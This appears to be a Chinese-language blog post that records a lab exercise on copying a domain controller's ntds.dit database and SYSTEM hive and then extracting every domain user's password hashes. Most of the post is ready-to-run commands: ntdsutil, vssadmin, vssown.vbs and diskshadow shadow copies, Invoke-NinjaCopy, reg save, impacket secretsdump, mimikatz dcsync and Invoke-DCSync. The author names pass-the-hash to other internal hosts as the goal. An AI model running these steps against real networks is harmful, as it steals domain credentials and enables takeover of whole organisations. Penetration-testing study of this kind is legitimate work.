導出 ntds.dit /SYSTEM 文件/域散列值

 導出 ntds.dit /SYSTEM 文件/域散列值

前言 : 

抽空花了點時間學習域滲透方面知識,整理了一下 ntds.dit 提取方式以及如何提取其中 hash 方式,覺得還是多練習靶機進步最快,實戰太少遇到 AD。

內文 : 

注 :

一般情況擁有Administrator權限,也無法讀取域控制器中的 C:\Windows\NTDS\ntds.dit 文件,包含用戶名、散列值、組、GPP、OU 等活動目錄相關信息。

實作環境 :

Windows Server 2016 (AD) : 192.168.109.130 kali : 192.168.109.128

卷影拷貝服務提取 ntds.dit :

一般系統運維人員會利用卷影拷貝服務進行導出,主要用於備份和恢復。

ntdsutil.exe 提取 :

默認安裝在域控制器上,可以在域控制器上直接操作,通過域內機器在域控制器上遠程操作,支持 Windows Server 2003、Windows Server 2008、Windows Server 2012。

創建快照。

ntdsutil snapshot "activate instance ntds" create quit quit

掛載快照。

ntdsutil snapshot "mount {6dfd2ca7-328d-4c8a-a52d-d18924afef5b}" quit quit

複製 ntds.dit。

copy C:\\$SNAP_202208271140_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit


成功複製到 C:\ 中。

vssadmin 提取 :

創建C盤的捲影拷貝。

vssadmin create shadow /for=c:

創建的捲影拷貝中將ntds.dit複製出來。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\ntds.dit

成功複製。

vssown.vbs 提取 :


https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
啟動卷影拷貝服務。

cscript C:\Users\Administrator\Desktop\vssown.vbs /start


創建一個C盤的捲影拷貝。

cscript C:\Users\Administrator\Desktop\vssown.vbs /create c

列出當前卷影拷貝。

cscript C:\Users\Administrator\Desktop\vssown.vbs /list

複製 ntds.dit。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit

diskshadow 提取 :

注 : 
需要進入C:\Windows\System32目錄下執行,否則會報錯。
以下指令保存為 command.txt。

set context persistent nowriters //設置卷影拷貝
add volume c: alias someAlias //添加卷
create //創建快照
expose %someAlias% z: //分配虛擬磁盤盤符
exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit //將ntds.dit複製到C盤中
delete shadows all //刪除所有快照
list shadows all //列出系統中的捲影拷貝
reset //退出
exit
執行命令。

diskshadow /s C:\\command.txt

成功複製。


PowerShell 提取 ntds.dit

PowerSploit(Invoke-NinjaCopy)腳本

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
匯入腳本進行複制。

Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"

成功複製。

導出 SYSTEM 文件


reg save hklm\system c:\system.hive

成功導出 system.hive。

導出 Ntds.dit 散列值

Impacket(secretsdump)

前提 :

必須獲取到Ntds.dit和SYSTEM這兩個文件。
在相同目錄下執行。

python3 secretsdump.py -system /home/kali/Desktop/system.hive -ntds /home/kali/Desktop/ntds.dit LOCAL

在線提取

利用 dcsync 獲取提取 Ntds.dit 中的哈希

注 :

域名要更改

在域內任意一台主機上運行 mimikatz 並執行命令。

lsadump::dcsync /domain:tdslab.local /all /csv

PowerShell(Invoke-DCSync.ps1) 腳本

https://gist.githubusercontent.com/monoxgas/9d238accd969550136db/raw/7806cc26744b6025e8f1daf616bc359cb6a11965/Invoke-DCSync.ps1
在域內任何一台主機上面執行如下命令。

Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize // 導出域內所有用戶的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 導出域內 administrator 帳戶 hash
導出域內所有用戶的 hash :


導出域內 administrator 帳戶 hash :

除了上述這幾種手法,我也有嘗試利用 meterpreter 模塊進行 dump 域散列值,不過失敗QQ 不過還是親手實作一次比較了解,一邊實作一邊實戰,學的才比較快,上述之打下 AD 之後要做的事情,方便進行 PTH 登入其它內網主機 XD。

留言

熱門文章